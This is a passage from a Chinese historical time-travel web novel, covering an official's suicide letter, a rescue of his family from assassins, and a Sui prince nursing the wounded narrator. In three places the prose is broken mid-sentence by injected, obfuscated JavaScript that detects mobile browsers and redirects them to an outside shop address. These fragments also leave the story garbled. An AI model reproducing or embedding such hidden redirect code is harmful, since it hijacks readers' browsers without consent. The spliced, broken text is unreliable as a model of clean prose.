“然后他开始说……说昨晚做了个梦。梦见骊山那些民夫,排着队从鹰嘴崖跳下去。底下不是石头,是金山银山,元淹在下面接着,接得满脸是笑……说那些都是太子赏的。” 我倒抽一口凉气。 “太子当时就炸了,指着李纲骂‘疯子’,让侍卫拖下去。李纲挣扎着,用尽力气喊……” 他深吸一口气,复述出那句话: “‘臣没疯!臣是看得太清楚了!嫌这里脏!嫌这里臭——!’” 声音在空旷的前厅回荡,令人毛骨悚然。 “然后呢?” “然后他就走了。踉踉跄跄,再没回头。” 贺璟说完,我们都沉默了。 一场“体面”的判决。 一场“疯狂”的闹剧。 元淹的命,暂时保住了。 李纲的心,彻底死了。 贺若弼停在廊柱前,背对着我们,肩膀微微发抖。然后,他猛地一拳,狠狠砸在朱红柱子上! “砰!” 一声闷响,震得梁上灰尘簌簌落下。漆皮破裂,露出底下暗色的木纹。 “憋屈!!!” 他低吼出声。 那声音不大,却像受伤野兽的呜咽,充满了无处发泄的愤怒、无力,还有一丝……兔死狐悲的冰凉。 我们都站在原地,没人说话。 檐外,开始下雨了。 雨点打在青瓦上,噼啪作响,渐渐连成一片,像是天地也在呜咽。 24. 以命上书 元淹被押出京时,下着毛毛雨。 没有游街,没有百姓扔烂菜叶,就一辆遮得严实的囚车,几十号押解差役,悄没声儿地从延兴门出去了。 车轮在湿石板上碾出两道印子,没一会儿就被雨冲没了。 贺璟安排的人早就撒出去了。 有扮行商的,有在沿途脚店打杂的,连押解的差役里都有能递话的自己人。元淹这趟岭南之旅,从第一天起,每一步都在算计里。 三天后,一个更炸的消息传来了: 李纲死了。 是悬梁自尽的,用的是他自己的腰带。 现场留了封遗书,直接送进宫了。至于信的内容,不知是否有人刻意为之,很快就通过一些隐秘的渠道传开了。 贺璟拿到抄本时,我正对着窗外阴沉沉的天发呆。 “看看吧。”贺璟把纸递过来,脸色不太好。 我接过来看。 信写得很乱,前言不搭后语。前面像是自言自语,絮絮叨叨的: “骊山的粥清得能照见人影……周栓子摔下去时血漫了一地……老太太舔手指上的血说咸的……永平坊那瞎眼阿婆,天天坐门槛上等儿子,但根本等不到……” 看到这儿我鼻子有点酸。 这李纲,记性真好,也真够折磨自己的。 中间画风突变,字迹都变狠了: “太子听说民夫死伤,皱眉说‘贱命也配烦我?给点钱打发了’……东宫修个屏风,够一百户人家吃一年……世家那些公子哥,屁本事没有,光靠姓什么就能当大官;寒门读书人,再有才,叩宫门十年都见不到皇帝一面……上下互相糊弄,真话没人听,跟活在妖怪嘴里似的,只看见牙,看不见光……” 我靠,骂得真狠。这要是让太子看见,不得气死? 最后一段,字忽然工整了,却透着一股死气: “我不是因为元淹只判流放才绝望。就算元淹明天就死,就算换一百个元淹,只要这用人只看门第、考核只看关系、真话没人听、上下互相糊弄的规矩不变……太子的身边,皇上的朝堂,照样是元淹这种人。百姓照样没处喊冤,将士的魂照样不安生。” “我血冷了。眼前全是黑的,看不见一点亮。累了,真累了,不如走吧。但愿以后……能有清平日子。” 信到这儿,完了。 书房里安静得吓人。 贺若弼闭着眼,胸口起伏得厉害,半天才哑着嗓子说:“他……原来背负了这些。” 贺璟站在窗前,背影显得有些僵。 他沉默了很久,才低声开口,声音里带着一种我从未听过的涩然: “那日在骊山脚下的茶寮……李纲对我说,若有一日,希望我能为那些人说句公道话……” “他说,他一个人的声音太小了,喊破了喉咙,也不过是朝堂上的一点杂音。他盼着……盼着能有更多人,愿意在关键的时候,站出来说句真话。” 贺璟的手指无意识地摩挲着窗棂:“我当时应了他,说我看见了,我不会视而不见。可如今……” 他顿了顿,喉结滚动了一下:“元淹判了流放,我没有说话。李纲在殿上‘疯言疯语’,我也没有说话。我守住了父亲,保住了贺家的安稳。可我对他……食言了。” 他的声音越来越低,带着清晰的、沉甸甸的悔意:“我本可以做些什么的……哪怕只是在那日朝堂上,在他说完那些‘疯话’之后,站出来说一句‘李冼马所言虽激,然其心可悯,其情可察’……或许,或许他就不至于……” 后面的话他没说完,但我们都懂。 或许李纲就不会觉得,这世上真的只剩他一个傻子了。 或许他就能再撑一撑。 就这当下,门被轻轻敲响。阿福闪进来,肩上还有雨渍,低声报: “密信到了。” 贺璟接过蜡丸捏碎,抽出纸条扫了一眼,抬头: “元淹一行过‘鬼见愁’栈道,遇上山体落石。差役一死一伤,元淹被几块大石头砸中,掉下百丈深涧,尸首找不着了。当地报的是‘意外’。” 贺若弼猛地转身。 烛光下,他脸上没什么大仇得报的痛快,也没笑。就那双老眼里烧了很多天的火,慢慢熄了,变成一潭深水。 他闭上眼,再睁开时,只剩一片空茫茫的累。 元淹,到底还是死了。 死得“合情合理”,死无对证。 仇报了。 可我心里一点没轻松。 李纲上吊时那双空荡荡的眼睛,他信里那句“我血冷了”,还有贺伯伯现在这累垮了的样儿……比之前任何一次预知都让我堵得慌。 晚上躺在床上,我睁着眼看帐顶,死活睡不着。 脑子里跟走马灯似的转: 李纲踉踉跄跄走出太极殿的背影。 他绝笔信里那句“血冷了”。 贺伯伯砸柱子那声“憋屈”。 还有……如果。 如果那天在朝堂上,贺伯伯没忍住呢? 如果他真跳出来了,为了“元淹必须死”这个理,跟皇帝杠上了呢? 那当时同样绝望的李纲,会不会觉得,自己不是一个人? 会不会觉得,这恶心人的朝堂上,还有个跟他一样“不识相”、一样“死脑筋”、一样敢为了心里那点对错去撞南墙的傻子? 如果两个人一起,在皇帝面前硬顶…… 场面会不会不一样?皇帝的压力会不会更大?太子那戏还演得下去吗?那些不敢吭声的,会不会有几个被勾起点儿良心? 而李纲……是不是就不会觉得被全世界抛弃了? 他是不是就会觉得,路再黑,前面好歹有盏同样快灭的灯?就算灯最后灭了,至少……不是一个人摸黑? 是不是……他就不会这么快、这么决绝地走上这条路? 这个“如果”,像根冰钉子,突然扎进我心里最软的地方。 我改了贺伯伯的命,让他避开了触怒皇帝的坑,保住了贺家,还用更“聪明”的法子弄死了元淹。 可代价呢? 李纲少了一个可能的“难友”,一个在绝境里也许能互相照应、给彼此打口气的同类。他一个人扛下了所有的黑、所有的冤、所有的绝望,被活活压垮了。 我救了我最想救的人。 可好像……也间接把另一个同样该被救的人,更快地推进了深渊。 这认知让我浑身发冷,比看见任何预知画面都怕。它把我那点“我能改命”的得意全扒了,露出底下狰狞的真相: 改命从来不是简单的好人打坏人。 它是一串不知道会炸哪儿的鞭炮。你掐灭这根引线,可能旁边那根就烧更快了。 你从水里捞起一个人掀起的浪,说不定就把另一条小破船拍沉了。 窗外,夜风吹得老槐树枯枝呜呜响,跟鬼哭似的。 我闭了闭眼,又想起了那封诀别信。 想起那句“用人只看门第”。 我脑子里突然蹦出个词:科举。 虽然现在还没这说法,但我记得,从隋文帝开始已经试着打破门阀垄断的选官制度了。李纲用命喊出来的,骂的,恨的,不正是那僵死腐朽的“九品中正制”吗? 他的死,这封字字泣血、几乎是指着鼻子骂的遗书…… 会不会,反而成了推着朝廷不得不改的最后一脚? 陛下看了会怎么想?那些关陇大族看了会怎么应对?那些被压得喘不过气的寒门士子,会不会因此看到一点……哪怕只是一点改变的希望? 这个念头让我心里一咯噔,说不清是什么滋味。 有点悲凉——一条命换一个可能。 又有点讽刺——活着时喊破喉咙没人听,死了留下的血书,倒可能砸出点响动。 还有种说不清的沉重。 贺府这几天气压低得能养鱼。 贺若弼在书房闷了一整天,出来时眼睛红得跟熬了三天夜似的,鬓角的白发眼瞧着多了好些。 他没发火,也没摔东西,就站在廊下盯着灰扑扑的天,看了足足半个时辰。 然后他干了件让我眼皮直跳的事,递折子告病,说要出京“静养”。 陛下准了,还赏了点人参灵芝,说了几句“爱卿保重”的场面话。 我心里门儿清:什么旧伤复发,分明是心寒了。看着李纲那种一根筋的直臣落得那般下场,自己却只能在朝堂上憋着,换谁都得出去透口气。 老贺离京那天,天公不作美,又飘起了毛毛雨。他没搞排场,就带了俩老亲兵,一辆青布小车,悄没声儿地出了城。 临走前,他拍了拍我肩膀,力道沉得我龇牙咧嘴:“丫头,在家好好的。贺伯伯……出去透透气。”顿了顿,又补了一句,“还有十天就是你十六岁生辰,我一准回来。” 我重重点头:“您记得带点山里的野果子回来!” 送走老贺,府里一下子空落落的。那种空不是没人,是没了他中气十足的嗓门和咚咚咚的脚步声,怪不习惯。 结果怕什么来什么。 老贺前脚走,后脚北境就来了军报,突厥小股骑兵在陇右一带扰边,劫掠了几个村落。事儿不算太大,但性质恶劣,必须尽快处置。 贺璟身为左翊卫中郎将,这活儿自然落在他头上。诏令当天就下来了,命他即刻带着贺家军前去清剿。 “必须去?”我抬头看他,“陇右……来回至少得半个月吧?” 贺璟系紧护腕,动作利落:“军令如山,即刻动身。” 我点点头,没再多问。军中的事,我懂规矩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156178|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他收拾好东西,走到我面前,顿了一下才开口:“你的生辰,我怕是赶不回来了。” “没事儿。”我把行囊递给他,语气尽量轻松,“生辰年年都有,剿匪要紧。你平平安安回来就行。” 他看着我,嘴唇动了动,似乎想说什么,但最终只是点了点头。 “长安现在不太平。”他声音沉了沉,还是嘱咐了一句,“李纲的事还没了结,朝中暗流涌动。你……尽量少出门。” “知道了。”我应道,“你放心去,家里有我呢。” 他上马前又回头看了一眼,那眼神里有军务在身的沉稳,也有一丝不易察觉的凝重。 两骑马蹄声嘚嘚远去,消失在长街尽头。 得,这下真成“空巢少女”了。 接下来的几天,我确实老实。每天就在院里练练拳脚,看看书,逗逗云枝。 可李纲的事儿像根刺扎在心里。 不知怎么,我总觉得这事儿没完,东宫丢了这么大脸,李纲又死得这么烈,他们真能这么结了? 他死了,可他老婆孩子呢?会不会被灭口?会不会被拿去撒气? 我打听了一下,听说李纲家眷都在老家岐州,只他一人在长安。 这念头让我坐立难安。 理智告诉我别多管闲事,老贺和小贺都不在家,就算知道了什么,我自己又能怎么办?可良心不答应,万一呢?万一那些人真要出事呢? 纠结了几天,我终于憋不住了。 第五天夜里,我下定决心,要用那破预知能力看看。 我和云枝悄悄去了一趟李纲在长安的住处,带回一件他生前常用的旧物,一方磨毛了边的砚台。 握紧砚台,闭上眼,将全部念头都投向李纲的家人。 眼前猛地一黑。 碎片画面涌进来: 昏暗屋里,有女人在压抑着哭。 小孩眼睛瞪得老大,瞳孔里映出刀光。 血顺着刀尖往下滴,在地上晕开。 泥泞山路,暴雨,还有……岐州。 更清晰的画面: 几个黑衣人踹开农家院门。 刀尖挑起老妇人的下巴,声音阴狠:“说!李纲那死鬼,临死前有没有藏东西?有没有别的证据?交出来!” 老妇人倒在血泊里。 年轻妇人死死捂住孩子的嘴,缩在墙角发抖。 最后定格: 一把刀举起,朝孩子劈下—— “不!” 我猛地睁眼,眼前金星乱冒,整个人像被抽空了力气,直直向后倒去。 “小姐!”云枝惊叫的声音像是从很远的地方传来。 我最后看到的,是帐顶旋转的花纹。 再醒来时,天已经蒙蒙亮了。 头疼得像要裂开,浑身虚得厉害。我挣扎着坐起来,发现云枝趴在床边睡着了。 “云枝……”我声音哑得厉害。 她立刻惊醒:“小姐!您醒了!您昨晚突然晕过去,吓死我了……” “现在什么时候了?”我打断她。 “快卯时了。您晕了整整五个时辰。” 五个时辰……十个小时。 上次强行预知羊角沟才晕了四个时辰,这次竟更久了……这破能力,简直在拿命换。 但现在根本不是后怕的时候,我猛地攥紧被褥,那些强行灌入脑子的画面正血淋淋地重现:刀光,喷溅的血,还有孩子濒死般惊恐瞪大的眼睛。 “快,”我一把抓住云枝的手,声音发颤,“帮我收拾东西,咱们得立刻去岐州!” “现在?”云枝愣住,“岐州那么远,而且您刚醒……” “等不及了!”我几乎是吼出来的,“李纲的家人要出事!就在岐州!我看见了……我看见刀……”我说不下去了,眼眶发酸。 云枝看我急成这样,没再多问,只重重点头:“好!小姐说去哪儿就去哪儿!” 接下来的事快得像打仗。 我强撑着虚软的身子,在书桌上匆匆留了封信,就说心里闷得慌,去岐州福缘寺上香为老贺祈福,几天就回,如果他们回来没见我,别担心。 换衣服时手都在抖,系带子都打结。我胡乱把匕首、药瓶往怀里塞,差点摔了。 扭头一看,云枝已经麻利地系好个小布包在腰上,她娘走江湖攒的“宝贝”,蒙汗药、飞抓钩啥的,平时藏着掖着,这下全带上了。 我们没惊动任何人,从侧门溜出去。 坊市刚醒,晨雾还没散。 找了辆半旧的青篷马车,车夫是个闷葫芦老汉,正蹲在车边啃饼子。 “小娘子去哪儿?这么早。”他含糊地问。 “岐州,福缘寺。”我塞给他比平时多一倍的银子,“越快越好。” 25. 雨夜奔逃 紧赶慢赶,到岐州地界已是第三天傍晚。 天阴得像块吸饱水的破抹布,远处雷声闷闷的。马车拐进一条岔路,前面山坳里就是李纲老家那个村子。 “停车。”离村口还有一里地,我喊住了车夫。 “小娘子,前面就到了。”车夫纳闷。 “就这儿等。”我又塞给他些碎银,“我们进去办点事,最多一个时辰。要是没回来……”我顿了下,“您自己回长安,别等了。” 车夫看看银子,又看看我们,大概明白了,点点头,把马车赶进路边小树林。 摸到李纲老家时,血腥味已经飘到了院外。 堂屋门歪斜着,李老娘倒在门槛内,身下一滩血还是暗红色。 “刚死不久。”我压低声音,喉头发紧,“人还在附近。” 几乎同时,不远处传来翻箱倒柜的闷响和压低的咒骂:“妈的,这屋也没有!” “水缸后面看看!” 我和云枝对视一眼,瞬间懂了。 杀手正在搜查,还没找到人! 机会! 我们猫着腰,像两道影子滑向后院柴房。 那里堆着高高的破烂杂物,但在我的“预知”碎片里,那里有一道夹缝。 果然,一靠近就听见极其细微的、孩子捂在嘴里的呜咽。 我贴在杂物缝隙上,用最轻最快的气声说:“我们是李纲李大人的朋友!杀你们的人就在院子里,马上搜到这里!想活命,现在出来跟我走!” 木板被猛地推开一点。 一个头发散乱的妇人死死捂着俩孩子的嘴,大的男孩七十岁,小的女孩四五岁,都吓得面无人色,浑身发抖。 我刚伸手去拉妇人,不远处搜索的脚步声就迅速逼近柴房! “这边!柴房还没搜!” 来不及了! 带着一个吓坏的妇人和两个年幼的孩子,我们绝对跑不远!一旦被缠上,就是团灭! “云枝!”我瞬间做出决定,语速快得惊人,“你带他们从后窗走,直奔后山土地庙!藏好!天亮找机会报官!” “小姐你……” “我去引开他们!这是唯一的机会!走!”我不由分说地将最近的男孩塞进云枝怀里,用力把惊惶的妇人推向柴房那扇破败的后窗。 我当然不是鲁莽,而是我心里清楚得很: 我那“萧皇后”的命格还没走完,阎王今晚不敢收我。 可她们不行。 她们必须活着! 云枝眼神一凛,知道形势危急,不再争论。她利落地帮妇人翻出窗外,自己抱着孩子也迅捷地钻了出去。 我立刻转身,抓起角落里一个破瓦罐和几块木柴,冲到柴房前门附近。 “砰!” 我用尽全力将瓦罐砸向柴房对面的墙角!碎裂声在死寂的夜里炸开。 “在那边!有动静!”门外的脚步声瞬间被吸引过去。 几乎同时,我猛地拉开柴房门,朝着与后窗完全相反的方向——前院全力冲去,一边跑一边故意踢翻沿途的杂物,制造出“多人仓皇逃窜”的明显痕迹。 “站住!” “追!别让她们跑了!” 火把的光束和急促的脚步声果然全部被我引了过来,紧紧咬在身后。 我头也不回,拼尽全力朝村子另一头更茂密的山林狂奔。 我一边跑,一边回头发出铜钱镖。 啪!一个杀手手里的灯笼灭了! “小心暗器!” 黑暗给了我喘息之机。我拼了命往山上跑,树枝啪啪抽在脸上。 但对方人太多,很快又追了上来。 慌乱中,我被树根绊倒,摔得七荤八素。刀风已到脑后! 我狼狈地滚开,反手拔出靴里匕首,往后一划,“嗤”一声,正中一个杀手的小腹。他闷哼倒地。 可另一把刀已从侧面劈来!我躲闪不及,左臂外侧一凉,火辣辣地疼。 挂彩了。 但我借势翻滚起身,匕首在手中一转,直刺另一个杀手的咽喉。他急忙格挡,我变刺为削,刀刃划过他手腕,鲜血飞溅。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162169|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “这小娘们会功夫!”有人惊呼。 但他们毕竟人多,而且都拿着长刀。我只能边打边退,身上又添了几道口子。 更要命的是,天上开始下暴雨。雨水糊了眼睛,山路变成泥潭。 我又放倒了几个,但体力也快见底了。伤口被雨水一浇,刺痛难忍。 剩下三个杀手将我围住,眼神凶狠。 不行……得跑…… 我虚晃一招,转身就往林子深处冲。 他们紧追不舍。 雨幕里,我隐约看见前面地势开阔了些。更远处,黑沉沉的夜里,有整齐的、成片的光点。 营地?军营? 我像快淹死的人看见浮木,用尽最后的力气,朝那片灯火连滚带爬地冲去。 身后追兵似乎犹豫了一下,但很快又跟了上来。 越来越近……越来越近…… 就在我几乎要绝望时,前方雨幕中突然传来马蹄声! 不是一匹,是一队! 紧接着,一队骑兵撕开了厚重的雨幕,横插进来,将我与身后的追兵隔开。火把的光驱散了眼前的黑暗,也照亮了来人。 我拼尽最后力气大喊:“救命!” 为首之人勒住战马,玄甲泛着冷光,肩头徽记在雨中清晰刺目—— 是晋王府的徽记。 太好了,不是太子的人! 我的目光费力地向上移动,越过冰冷的甲胄,对上了一双深邃沉静的眼眸。雨水顺着他轮廓分明的下颌滴落,火光在他脸上投下晃动的光影。 杨广。 怎么又是他? 也好,是他。 这微弱的、带着一丝复杂难辨的庆幸的念头闪过脑海,我脚下一软,终于彻底支撑不住。像是绷到极致的弓弦骤然断裂,重重向前栽去。 却没有摔在泥泞里。 一只有力的手臂稳稳接住了我,隔着冰冷的甲胄传来不容置疑的力量。 最后模糊的印象,是他铠甲边缘凝结的雨滴,和他垂眸看我时辨不出情绪的眼睛。 26. 张嘴喝药 再醒来时,第一个感觉是干爽温暖。 身上不再是湿冷黏腻的泥泞和血污,而是柔软干净的素白中衣。布料贴着皮肤,带着被熏笼烘过的暖意。左臂伤口被妥帖包扎,清凉的药膏渗透纱布,疼痛缓解了许多。 我动了动手指,慢慢抬起没受伤的右手,摸了摸自己的脸。 皮肤光滑,没有泥污。 头发也顺滑地散在枕上,发梢还带着淡淡皂角清香。 视线缓缓聚焦,首先映入眼帘的是头顶深色厚重的帐幔。 空气里有股干净的、混合着药味与皮革的味道。 想起来了,昨晚我快死的时候,被杨广捡了,我的未来“暴君”老公,眼下倒成了我的救命恩人。 这里八成就是他的地盘。 我想坐起来,左臂却传来一阵刺痛,忍不住“嘶”地抽了口气。 “别动。” 声音从旁边传来,平静无波。 我转过头,看见杨广坐在不远处的圈椅里。他已卸了甲,换了一身暗纹常服,手里拿着一卷书。 阳光给他侧脸镀了层金边,看着还挺……人模狗样的。 他眼皮抬了抬,目光在我身上扫了一圈,语气平淡:“昏睡了五个时辰。军医来看过,伤口不深,但淋了雨,要好生养几日。” 我张了张嘴,想说话,喉咙却干得发疼。 杨广放下书卷,起身走到桌边。白玉壶一倾,水声清脆。他端着杯子走回来,递到我面前。 我接过杯子,手指触到杯壁时微微一怔,温度刚好,不烫不凉。 啧,细节控啊。 小口小口喝完,嗓子总算活过来点。我把空杯递回去,脑子开始飞速运转:杀手呢?云枝呢?李纲家人…… “那些追杀我的人……” “死了。”杨广接过空杯,放回桌上,声音听不出什么波澜,“都是死士,眼见被围,直接服毒了。” 我心往下沉。 “服毒了?”我重复。 “嗯。”他点头,“齿间藏了剧毒,见血封喉。都是养熟的死士,身上没有任何标识,兵器也是最普通的制式刀。” 没有标识,兵器普通,死士。 这意味着,就算知道是谁派来的,也拿不出证据。 “岐州,你是从李纲老家来的。” 然后,他这么来了一句。不是问句,是陈述。 我:“……” 这人是会算命还是怎么的?我脸上写“李纲老家”四个字了? “不必解释。” 他重新坐回圈椅,那眼神明晃晃写着,别费劲编了,你骗不过我。 “杀手,追逃,岐州,连成一线,不会有其他事。贺公和贺小将军都不在京,三百公里,单枪匹马去救人。萧姑娘,你胆子挺大。” 他顿了顿,像解答谜题般平淡道:“本王昨夜见到你,便推测是李纲之事,已经派人去看了。” 我屏住呼吸。 “你那丫鬟带着李纲妻小躲在山神庙,还算机灵。” 他端起茶杯抿了一口,“李纲妻小,本王已安排了可靠的人手护送回京,会妥善安置。至于你那丫鬟,本王的人,也快把她带回来了。” 我怔怔地看着他,脑子一时有点转不过来弯。 啥? 都办完了? 云枝安全了?李家的人也安全了? 他仅凭我在岐州重伤出现,就断定一切,然后在我昏迷这半天里,无声无息得把所有事情都料理好了。 这人敏锐得可怕,算计得精准。 可偏偏,就是这份要命的算计,在这要命的关头救了我们所有人。 我看着他,突然觉得,这人吧,虽然八百个心眼子,但这会儿看着,还挺顺眼。 我靠在榻上,那根绷了几天几夜的弦终于松了,整个人像被抽空。 “谢谢……” 这两个字,真心实意。 杨广没这茬,反而没头没尾来了一句:“李纲是个蠢人。” “蠢到以为撞了南墙,墙就能塌。”他指尖在扶手上轻轻一叩,“但这种蠢人,朝廷里不能一个都没有。” 他抬眼看向我,目光里多了几分审视:“至于你……” 顿了顿,缓缓说道:“明知山有虎,偏向虎山行。单枪匹马就敢闯进杀手窝里捞人,有勇;知道分兵引敌,保全妇孺,有谋。” “救人,不顾自身。”他看着我,一字一句,“萧姑娘,你这人……比本王想象的还有意思。” 我:…… 谢谢夸奖啊。 他起身,走到旁边的小炉子旁。 炉上温着药,正咕嘟咕嘟冒热气。他揭开盖,舀出一碗黑漆漆的药汁,端着走回来,在榻边坐下。不是旁边的椅子,就是榻边。 勺子直接递到我嘴边。 ……等等。 这场景怎么好像哪里不对…… 皇子给我亲自喂药? 苦味儿冲得我太阳穴一跳,我看着那勺子,又看看他没什么表情的脸,往后缩了缩:“我……自己喝就行……” 他没动,手稳得像焊在半空,只抬眼看我。 那眼神很静,没什么火气,却莫名压得人喘不过气。 “张嘴。” 两个字,音调平平,却带着一股不容商量的劲儿。 我抿紧嘴唇,瞪他。 这人怎么这么霸道?! 他也没催,就那么端着碗,静静地看着我,耐心好得让人发毛,眼神里是一种近乎审视的专注。 他在观察我的反应,像猎手观察落入陷阱的猎物。 僵持。 伤口的刺痛,药味的苦涩,还有他毫不退让的注视。几种不适叠加,让我呼吸都急促起来。 三秒,五秒,十秒…… 我败下阵来,主要是胳膊疼,没力气跟他耗。 铜勺探进来,温热的药汁灌入口中。 苦! 苦得我天灵盖都快飞了!整张脸瞬间皱成苦瓜。 他倒好,跟没看见似的,一勺喂完,停一停,等我艰难咽下,再喂第二勺。苦味层层叠加,我觉得我舌头已经失去知觉了。 实在没忍住,我从牙缝里挤出气音:“……能……快点么……” 然后,他做了一件让我彻底愣住的事。 放下铜勺,从旁边小碟里精准地捏起一颗蜜渍梅子。手指微凉,沾着一点蜜糖的黏,不由分说直接塞进我嘴里。 酸甜的滋味瞬间在口中化开,冲淡了苦涩。 我含着梅子,有点懵地看着他。 他脸上依旧没什么表情,重新拿起勺子,继续他那“缓慢而持久”的投喂。一勺苦药,一次短暂的停顿,然后再来一勺。 直到碗底见光。 然后,他放下碗勺,拿起一方白布巾,倾身过来。 距离骤然拉近。 我能看清他睫毛的弧度,闻到他身上那股清冽的松木气混着一点药味。他用巾角在我嘴角轻轻擦了擦,动作自然得……仿佛他天天干这事儿。 擦完,他没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170900|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立刻退开。 就那么保持着俯身的姿势,看着我的眼睛。他的眼神里,有关切,有审视,还有一丝……得逞般的满意。 “军营里,”他慢悠悠开口,声音在过分安静的帐子里格外清晰,“有大夫,自然也有手脚麻利的仆役。” 我抬眼看他,心里隐约有种不妙的预感。 他眼中清晰地浮起一点玩味,那眼神像在看一只张牙舞爪却徒劳无功的猫。 “但本王,”他顿了顿,目光锁住我,一字一句,说得又慢又清楚,“偏就想自己来。” 我:“……” ……救命。 他太会了。 在我刚从鬼门关爬回来,魂都还没归位的时候,他快刀斩乱麻地收拾了我所有的烂摊子:云枝的下落,李家妇孺的安危。 然后,在我最不设防的当口,他不紧不慢地坐到了我身边,拿起药碗,一勺苦药,一枚蜜饯。 没有刻意的温柔,也没有纡尊降贵的姿态。每一个动作都简洁、高效,带着一种近乎漠然的专注。 可偏偏就是这种“理所当然”,比任何刻意的亲近都更让人心惊。 仿佛这一切早已演练过千百遍。 仿佛他本该如此。 理智在脑子里尖叫,扯着喉咙拉响最高警报: 萧锦!睁大眼睛看清楚!这是谁?! 是那个史书里笔墨浓稠的“炀帝”!是能在东宫与晋王府之间隐忍筹谋十几年的野心家!是谈笑间就能将人心、时势都捻作棋子的顶级玩家! 这套“雪中送炭”、“细致入微”的把戏,对他来说,恐怕比呼吸还要娴熟自然。这就是算计,是分寸拿捏到极致的攻城略地! 你背后是谁? 是贺若弼! 是陛下手中最锋利也最孤直的一把刀,是纯臣,是站在悬崖边、身上烙着“忠君”二字、绝不沾染党争的武将招牌! 杨广对你示好,与薛家、与那些关陇亲戚对你示好,本质上有什么区别? 不都是看你背后站着的贺家,看你能带来的价值吗? 唯一的区别是薛家之流嘴脸丑恶,吃相难看。 而他…… 他让你明知道是陷阱,是深渊,是裹着蜜糖的砒霜…… 心却还是不由自主地往下坠。 身体比脑子诚实。 我好像听到我的心跳一下,又一下,沉重又慌乱地撞着胸腔,震得指尖都跟着发麻。脸颊烫得厉害,那热度顺着脖颈一路烧下去,连呼吸都变得短促艰难。 我想说点什么。 想说“不合规矩”,想说“殿下,这不妥”。 可嘴唇动了动,喉咙里却像堵了团浸水的棉絮,又干又涩。 所有预备好的、苍白无力的推拒,都在他平静无波的注视下溃不成军。 最终,只挤出一点微弱的气音,带着自暴自弃的倦意,和一丝连自己都无法辨明的颤抖: “……随你。” 两个字轻得像羽毛落地,更像一声认命的叹息。 说完,我立刻别开脸,将自己半张滚烫的脸颊藏进枕畔的阴影里。 不敢再看他。 也不能再看了。 算了。 人为刀俎,我为鱼肉。 此刻,他是执刀人,是掌控全局的猎手。 而我,伤痕累累,精疲力尽,连思考的力气都没了。 他爱喂药就喂药,爱擦脸就擦脸吧。 横竖……我也挣不脱。 摆烂了。 27. PUA大师 药劲上来,我又昏睡过去。再睁眼,天都黑透了。 云枝守在床边,眼睛红得像兔子。 “小姐!”她扑过来,想抱我又怕碰着我伤口,最后只轻轻攥住我袖子,“你可算醒了!” 我喉咙干得冒烟,示意她拿水。 灌下去半杯,才觉得魂儿回来一点。 身上还是难受,跟被拆过一遍似的。 我心里清楚,这不光是伤,是那破预知超频使用的后遗症。最近动不动就晕,晕的时间还越来越长。加上这次实打实挨了一刀,debuff叠满了。 不行,这破金手指最近不能再用了。再乱开,我怕直接永久下线。 “李纲家里人……真没事了?”我确认道。 “晋王的人接走了。”云枝小声说,“具体去哪儿没说,但看样子挺稳妥的。” 那就行。 管他杨广打什么算盘,人活着最重要。 “小姐饿了吧?有粥!”云枝端来碗温着的鸡丝粥,还有两碟小菜,“晋王傍晚来过,看你睡着,留了饭。” 我勉强吃了半碗。味道居然不错,不像军营大锅饭。 “这是哪儿?”我放下勺子。 “具体是哪我也不知道,只知道咱们在晋王的营地,黄河边上。”云枝比划着,“送我的军爷说,殿下是来巡河防的。” 我“哦”了一声,心里吐槽:巡河防?这么巧,我逃命都能精准掉进他任务范围? 这缘分真是邪了门了。 帐外有巡逻的脚步声,远处隐约传来隆隆水声,闷闷的,像大地在打呼噜。 那就是黄河。 帐外隐约传来交谈声,还有篝火噼啪的声音。我有点好奇,让云枝扶我起来,强撑着挪到帐帘边,掀开一道缝隙。 空地上,火堆燃得正旺。 杨广坐在一块石头上,依旧是那身长衫。 几个穿着磨损旧皮甲的将领围着他,脸上带着边关风沙磨出的粗粝与疲惫。 一个络腮胡的汉子正哑着嗓子低吼:“……活活冻死的!帐篷像纸糊,袄子里全是冰疙瘩!” 另一个年轻些的将领眼眶发红:“饷银拖了三个月!朝廷的钱呢?都修宫殿、赏美人了吗?!” 修宫殿……骊山汤泉宫?我脑子里闪过那几口清汤寡水的大锅。 一个脸上带疤的老兵声音发颤:“俺们村的种粮都被刮走了……开春,老的小的,只能吃树皮……” 篝火噼啪,映着几张悲愤又无助的、铁塔般的面孔。那沉甸甸的绝望,比边关的寒风还刺骨。 杨广一直安静听着,手里捻着根枯枝,有一下没一下地拨弄火堆。 等最后一个哽咽声散在风里,他才开口,声音不高,却清晰地盖过火焰的噼啪: “你们说的,我都知道。” 众人抬头看他。 “不止知道。”他把枯枝丢进火里,火星窜起,“我还查过。” 